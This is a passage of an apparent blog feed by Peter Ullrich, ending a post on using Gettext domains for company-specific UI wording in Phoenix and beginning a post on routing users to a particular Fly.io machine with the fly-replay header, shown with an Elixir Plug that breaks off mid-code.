&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# home.html.heex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;dtext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;domain&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello Employee&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;h1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;h2&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;gettext&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello World&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;h2&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, run the following command and Gettext will extract all messages to your domain PO files!&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;gettext&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;extract&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;merge&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should now see the following content in your three PO files:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;# priv/gettext/en/LC_MESSAGES/default.po
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;msgid &quot;Hello Employee&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;msgstr &quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;msgid &quot;Hello World&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;msgstr &quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;# priv/gettext/en/LC_MESSAGES/meta.po
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;msgid &quot;Hello Employee&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;msgstr &quot;Hello Metamate&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;# priv/gettext/en/LC_MESSAGES/google.po
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;msgid &quot;Hello Employee&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;msgstr &quot;Hello Googler&quot;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Awesome! Gettext only extracted the domain-specific strings to your domain PO files, which makes it easier to translate them for each company. Gettext also extracted the string to &lt;code&gt;default.po&lt;/code&gt; which serves as a fallback. It also extracted all other &lt;code&gt;gettext/1&lt;/code&gt; calls as expected, but only to the &lt;code&gt;default.po&lt;/code&gt; file, so that non domain-specific strings won&apos;t clutter your domain PO files.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Congratulations! You&apos;ve resisted the junior urge to immediately run with the first solution you can think of just to feel like you&apos;re moving, regardless of whether the direction you move in is even remotely desirable. You found an elegant, simple, and extendable solution and even learned something new about the language you work with, which makes you a better engineer! Good job!&lt;/p&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my firewall for Phoenix &lt;a href=&quot;https://ezsuite.dev&quot;&gt;Phx2Ban&lt;/a&gt; or my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/customise-white-label-ui-copy-with-gettext-domains"/>
    <id>https://peterullrich.com/customise-white-label-ui-copy-with-gettext-domains</id>
    <title>Replace Generic UI Copy with Your User&apos;s Domain-Specific Terms Using Gettext Domains</title>
    <updated>2025-01-12T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey folks, today&apos;s blog post is slightly longer than usual, but it&apos;ll be worth it. To get you started, let me ask you:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Did you hear about the Italian chef who died?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;He pasta-way
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alrighty, let&apos;s dig in!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;A few weeks back, I watched Chris McCord &lt;a href=&quot;https://www.youtube.com/watch?v=jziOb2Edfzk&quot;&gt;live-code a Twitch clone&lt;/a&gt; during the &lt;a href=&quot;https://elixir-webrtc.org/esw.html&quot;&gt;Elixir Stream Week&lt;/a&gt;. He implemented an architecture which received the video stream of a creator on one server and broadcasted it to all other servers in the cluster using PubSub. This way, viewers could connect to any server around the globe and they would see a playback of the creator&apos;s stream. Neat, right?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/fly-replay/chris-architecture.jpeg&quot; alt=&quot;Chris&apos;s architecture which shows a creator recording a stream to a server in the US, which then sends the stream in packages to servers in the EU, Asia, and LATAM, and groups of viewers which connect to the servers in the EU, Asia, or LATAM.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, during the presentation I wondered whether it wouldn&apos;t be more efficient to connect all viewers to the server of the creator, which would remove the need to replicate the stream to every server on the network. I asked Chris and he agreed that this would be interesting, however he didn&apos;t have the time to get into it.&lt;/p&gt;
&lt;p&gt;So, here&apos;s a blog post about how you can use Fly&apos;s &lt;a href=&quot;https://fly.io/docs/networking/dynamic-request-routing/&quot;&gt;fly-replay&lt;/a&gt; header to connect users from around the globe to a single Fly machine, for example to the machine your creator streams to, using Phoenix and Phoenix LiveView. The post also highlights how you can keep the user connected to the server using &lt;a href=&quot;https://fly.io/docs/blueprints/sticky-sessions/&quot;&gt;sticky sessions&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-setup&quot;&gt;&lt;/a&gt;The Setup&lt;/h2&gt;
&lt;p&gt;I created a small app (&lt;a href=&quot;https://github.com/PJUllrich/fly-chat&quot;&gt;GitHub&lt;/a&gt;) and deployed it to the Dallas (&lt;code&gt;DFW&lt;/code&gt;) and Amsterdam (&lt;code&gt;AMS&lt;/code&gt;) regions on &lt;a href=&quot;https://fly.io&quot;&gt;Fly.io&lt;/a&gt;. I ran two machines in Dallas and one in Amsterdam. Since I&apos;m closest to Amsterdam, Fly would route all my requests to the Amsterdam machine by default. My goal was to change the machine to which Fly routes my request and WebSocket connection using the &lt;a href=&quot;https://fly.io/docs/networking/dynamic-request-routing/#the-fly-replay-response-header&quot;&gt;fly-replay&lt;/a&gt; header.&lt;/p&gt;
&lt;p&gt;Here&apos;s a demo of the app:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/gifs/chat.gif&quot; alt=&quot;A demo of the chat app. It shows a textarea that receives a new text message every second and offers three tabs to change between streams&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The app offered three tabs which simulated three creator streams. The user could jump between streams by clicking on them. The left stream ran on the Amsterdam server, whereas the middle and right streams ran on one of the two Dallas servers. Whenever the user clicked on a stream, they would be rerouted to the correct machine using the &lt;code&gt;fly-replay&lt;/code&gt; header and establish a WebSocket connection with the same machine that the creator was also &quot;streaming&quot; to.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-plug&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-plug&quot;&gt;&lt;/a&gt;The Plug&lt;/h2&gt;
&lt;p&gt;It took me a few attempts, but eventually I got it working using this Plug:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# lib/chat_web/plugs/redirect_to_machine.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ChatWeb.Plugs.RedirectToMachine&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Builder&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;cookie_key &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;fly-machine-id&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;cookie_ttl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;6&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;24&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;60&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;60&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1000&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fetch_query_params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fetch_cookies&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;params: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:chat&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:fly_machine_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;instance&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;req_cookies&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;cookie_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;cond&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Correct machine based on parameter &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;. Set cookie and let pass.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_resp_cookie&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;cookie_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;max_age: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;cookie_ttl&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Incorrect machine &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt; based on parameter &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;. Redirect.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;redirect_to_machine&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;param_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;cookie_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;machine_id&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
